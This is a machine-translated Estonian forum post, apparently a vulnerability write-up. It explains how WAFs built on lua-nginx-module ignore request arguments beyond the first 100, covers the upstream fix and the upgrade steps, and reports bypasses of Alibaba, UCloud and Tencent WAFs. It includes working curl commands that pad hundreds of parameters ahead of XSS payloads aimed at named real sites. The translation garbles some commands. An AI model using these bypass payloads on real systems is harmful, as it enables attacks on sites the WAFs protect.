See artikkel on masintõlke peegelartikkel, palun klõpsake siia, et hüpata algse artikli juurde.

Vaade: 16994|Vastuse: 1

[Turvaauk] Nginx Lua WAF rakenduse tulemüüri haavatavus

[Kopeeri link]
Postitatud 27.04.2018 09:23:29 | | | |
Kui ginx Lua saab parameetreid, saadakse vaikimisi esimesed 100 parameetri väärtust ja ülejäänud jäetakse kõrvale.
Seetõttu jäetakse Nginx Lua kasutavad WAF-id vaikimisi vahele.
20. ja 18. aprillil oli turvareisija keegi selle detaili juba avalikustanud, nii et avaldasin ka selle artikli 233.



Põhimõte

Ametlik kirjeldus on järgmine

Pane tähele, et vaikimisi parsitakse maksimaalselt 100 päringuargumenti (sh sama nimega) ning täiendavad taotlusargumendid visatakse vaikselt kõrvale, et kaitsta võimalike võimalike vastuvõttude eest teenusetõkestusrünnakud.

Vaikimisi saab kuni 100 päringuparameetrit (sh sama nimega) parsida ning lisapäringuparameetrid eemaldatakse automaatselt, et vältida võimalikke teenusetõkestusrünnakuid.

Otsi 100, umbes järgmisel meetodil on sama probleem.
ngx.req.get_uri_args Hangi taotlusparameetrid
ngx.req.get_post_args Hangi postituse taotlusparameetrid
ngx.req.get_headers Hangi päringu päis
ngx.decode_args Dekodeeri parameetrite URL
ngx.resp.get_headers Hangi vastuse päis
Lua-nginx-mooduli lähtekoodis näeme, et lähtekood seab vaikimisi maksimaalse päringuparameetri ja päise väärtuseks 100




#ifndef NGX_HTTP_LUA_MAX_HEADERS
#define NGX_HTTP_LUA_MAX_HEADERS 100
#endif

Kuid ametnik pakub meetodit vaikimisi väärtuse muutmiseks, näiteks ngx.req.get_uri_args (200), et saada esimesed 200 päringuparameetrit.

Katse

Kui taotlusparameeter on 101, ei saa viimast päringuparameetrit saada.

Curl -V 'http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg'

Kui vähendad ühte päringuparameetrit, saad viimase päringu parameetri, kui päringu parameetrid on täpselt 100.

a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62
V: ZBG
Ma sain aru, zbg

Pane tähele, et vaikimisi on tõepoolest 100 päringuparameetrit ning pärast 100 päringu parameetrit jäetakse ära.

On kummaline, et ülaltoodud tagastussisus, ligikaudse positsiooni keskel, on lõplik zbg parameeter juba väljundis. Minu arvamus on, et väljund ei ole järjekorras, kuid parsimise järjekord järgib parameetrite esitamise järjekorda, sest kui 101. parameetri väärtus on zbg, siis seda väärtust ei saa.

Lisatud on pythoni skript, mis genereerib parameetrid:

# Autor: ZBG
# Mail:zbg@zbg.org
# kuupäev: 2018-04-03

a = ''
I vahemikus (200):
    a = a + 'a{0}={1}&'.format(i+1, i+1)
Prindi a
Remont
Loomulikult ei soovitata lähtekoodis parameetri MAX-väärtust muuta. Sest ükskõik kui suur väärtus sa määrad, seda saab mööda minna. Soovitatav on seadistada meetodi parameetrite järgi.
Kui saad päringuparameetri pikkuse ja kasutada meetodit nagu ngx.req.get_uri_args (pikkus), kas sellest ei piisaks?
Dokumentatsiooni lugedes leidsin, et soovitud parameetrite arvu ei õnnestunud saada. Kui aga seada pikkuse 0-ks, saad kõik soovitud parameetrid.

Seda argumenti saab nulli seada, et eemaldada piirang ja töödelda kõiki saadud päringuargumente.
lokaalsed args = ngx.req.get_uri_args(0)

Siiski on tungivalt soovitatav seada see 0-le, et vältida võimalikke teenusetõkestusrünnakuid.

max_args katte eemaldamine on tugevalt ebasoovitatav.

Tegelikult mõtlesin, miks 0 seadmine võiks viia võimaliku teenusetõkestusrünnakuni ja päring läheks niikuinii nginx-i, ükskõik kui palju parameetreid get'is või post'is oleks.

Tõstatasin ametnikule probleemi ja autor ütles, et ngx.req.get_uri_args (0) suurendab serveri protsessori ja mälu kasutust. Hiljem testisin 200 parameetrit ja kasutasin Nginx+php parameetrit, et saada 200. parameeter, mis tähendab, et Nginx ei piira vaikimisi soovitud parameetrite arvu. Siis võib probleem peituda Nginx Luas endas,Kui Nginx Lua kasutab ngx.req.get_uri_args(0), et saada kõik parameetrid ja neid läbi iteratsioonide teha, siis kui parameetreid on palju nõutud, kulutab see rohkem protsessorit ja mälu ning lõpuks viib isegi teenuse keelamiseni

04.03.2018 tõstatas Bypass007 ametlikult PROBLEEMI selle veaparanduse kohta ning lisas lõpuks ametlikult uue funktsiooni selle PROBLEEMI põhjal 2018-04-21. Selle funktsiooni commit-kirje aadress: https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd

Funktsiooni kirjeldus on järgmine: Versioonides pärast versiooni v0.10.13 (sh v0.10.13), kui taotluste piirarv on ületatud, on teine tagastusväärtus kärbitud string.
Alates v0.10.13-st, kui piir ületatakse, tagastatakse teine väärtus, mis on string "lühendatud".
Kuid valikuline max_args funktsiooni argument võib selle piirangu ületamiseks kasutada:
lokaalsed args, err = ngx.req.get_uri_args(10)
kui err == "lõigatud", siis
     -- siin saab valida praeguse taotluse ignoreerimise või tagasilükkamise
Lõpp

Nii tuli lõplik parandus.

Uuenda lua-nginx-moodul versioonile v0.10.13 või uuem

Seejärel piira parameetrite koguarvu, sest kui palju see arv piiratud on, arvan isiklikult, et 100 on piisav

OpenResty uuendab lua-nginx-mooduli moodulit

Ma ei leidnud OpenResty uuendusmooduli kohta mingit infot, nii et mõtlesin ise välja, kuidas lua-nginx-mooduli moodulit uuendada.

Sammud on järgmised:

Laadi alla vastav versioon lua-nginx-mooduli moodulist
wget https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13
Lahti
tar -zxvf v0.10.13
Kustuta eelmine lua-nginx-mooduli versioon
RM -RF Openresty-1.9.15.1/bundle/ngx_lua-0.10.5
Kopeeri uus lua-nginx-moodul
MV Lua-nginx-module-0.10.13 openresty-1.9.15.1/bundle/ngx_lua-0.10.13
Kompilatsiooni jaoks vaata VeryNginx kompileerimisparameetreid


Juhtumi ümbersõit

Tuleks täpsustada, et järgmiste WAF-ide puhul ma ei ole kindel, kas kasutada Nginx Lua-d, kuid neid saab mööda minna parameetrite koguarvuga.

Ali WAF

See WAF on WAF, mida kasutab sisemiselt Alibaba, ehk WAF, mida kasutavad näiteks domeeninimed nagu *.taobao.com, ning seda pole testitud Alibaba Cloudi pilvepõhise WAF-i jaoks.
Esiteks palu POST XSS Payload, et see kinni püüda.
curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com
Fuzzi kaudu leiti, et kui XSS Payloadiga suurendatakse parameetrite arvu 478-ni, seda enam ei püüta kinni ja veebilehele pääseb tavapäraselt ligi.
Curl -v -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a13=113&a114=114&a115=115&a16= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=133& a135=135&a136=136&a137=137&a138=138&a139=139&a140=140&a141=141&a142=142&a143=143&a144=144&a145=145&a146=146&a147=147&a148=148&a149=149&a150=150&a151=151&a152=152&a153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171& a172=172&a173=173&a174=174&a175=175&a176=176&a177=177&a178=178&a179=179&a180=180&a181=181&a182=182&a183=183&a184=184&a185=185&a186=186&a187=187&a188=188&a189=189&a190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208& a209=209&a210=210&a211=211&a212=212&a213=213&a214=214&a215=215&a216=216&a217=217&a218=218&a219=219&a220=220&a221=221&a222=222&a223=224=224&a225=225&a26=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245& a246=246&a247=247&a248=248&a249=249&a250=250&a251=251&a252=252&a253=253&a254=254&a255=255&a256=256&a257=257&a258=258&a259=259&a260=260&a261=261&a262=262&a263=263&a264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& a283=283&a284=284&a285=285&a286=286&a287=287&a288=288&a289=289&a290=290&a291=291&a292=292&a293=293&a294=294&a295=295&a296=296&a297=297&a298=298&a299=299&a300=300&a301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319& a320=320&a321=321&a322=322&a323=323&a324=324&a325=325&a326=326&a327=327&a328=328&a329=329&a330=330&a331=331&a332=332&a333=333&334=334&a335=335=335&a336=336&a337=337&a338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355&355=355&a356=356& a357=357&a358=358&a359=359&a360=360&a361=361&a362=362&a363=363&a364=364&a365=365&a366=366&a367=367&a368=368&a369=369&a370=370&a371=371&a372=372&a373=373&a374=374&a375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393& a394=394&a395=395&a396=396&a397=397&a398=398&a399=399&a400=400&a401=401&a402=402&a403=403&a404=404&a405=405&a406=406&a407=407&a408=408&a409=409&a410=410&a411=411&a412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& a431=431&a432=432&a433=433&a434=434&a435=435&a436=436&a437=437&a438=438&a439=439&a440=440&a441=441&a442=442&a443=443&a444=444&a445=445&a446=446&a447=447&a448=448&a449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455&a456=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=466&a466=466&a467=467& a468=468&a469=469&a470=470&a471=471&a472=472&a473=473&a474=474&a475=475&a476=476&a477=477&a==<img src=x onerror=alert(/xss/)>' lu.taobao.com

UCloud

Testitud WAF on UCloudi müüdud WAF.
Kui päringu parameeter tõstetakse 138-ni, siis seda enam ei blokeerita ja veebilehele pääsetakse tavapäraselt ligi.
Curl -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a13=113&a114=114&a115=115&a16= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=133& a135=135&a136=136&a137=137&a=alert(1234)' taqu.cn

Tencent WAF

See WAF on WAF, mida Tencent kasutab sisemiselt, st WAF, mida kasutavad näiteks domeeninimed nagu *.qq.com, ning seda pole testitud Tencent Cloudi poolt müüdava pilve-WAF-i jaoks.
Kui päringu parameeter tõuseb 4000-ni, ei blokeerita seda enam ja veebilehele pääseb ligi tavapäraselt. Mõjutatud on järgmiste domeenide juhuslikud testid.
web.qq.com
ke.qq.com
auto.qq.com
news.qq.com
sports.qq.com
time.qq.com

Kokkuvõte

See küsimus on väga lihtne ja selle leiab dokumenti hoolikalt lugedes. Aga miks ma ei saanud teada? Ma arvan, et see on ikka liiga vähe mõtlemist.
Viide
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd





Eelmine:Õpi Photoshopi nullist, 18 õppetundi algajalt jumalaks
Järgmine:Lua ja Luajiti tugevused ja nõrkused
Disclaimer:
Kõik Code Farmer Networki poolt avaldatud tarkvara, programmeerimismaterjalid või artiklid on mõeldud ainult õppimiseks ja uurimistööks; Ülaltoodud sisu ei tohi kasutada ärilistel ega ebaseaduslikel eesmärkidel, vastasel juhul kannavad kasutajad kõik tagajärjed. Selle saidi info pärineb internetist ning autoriõiguste vaidlused ei ole selle saidiga seotud. Ülaltoodud sisu tuleb oma arvutist täielikult kustutada 24 tunni jooksul pärast allalaadimist. Kui sulle programm meeldib, palun toeta originaaltarkvara, osta registreerimist ja saa paremaid ehtsaid teenuseid. Kui esineb rikkumist, palun võtke meiega ühendust e-posti teel.

Mail To:help@itsvse.com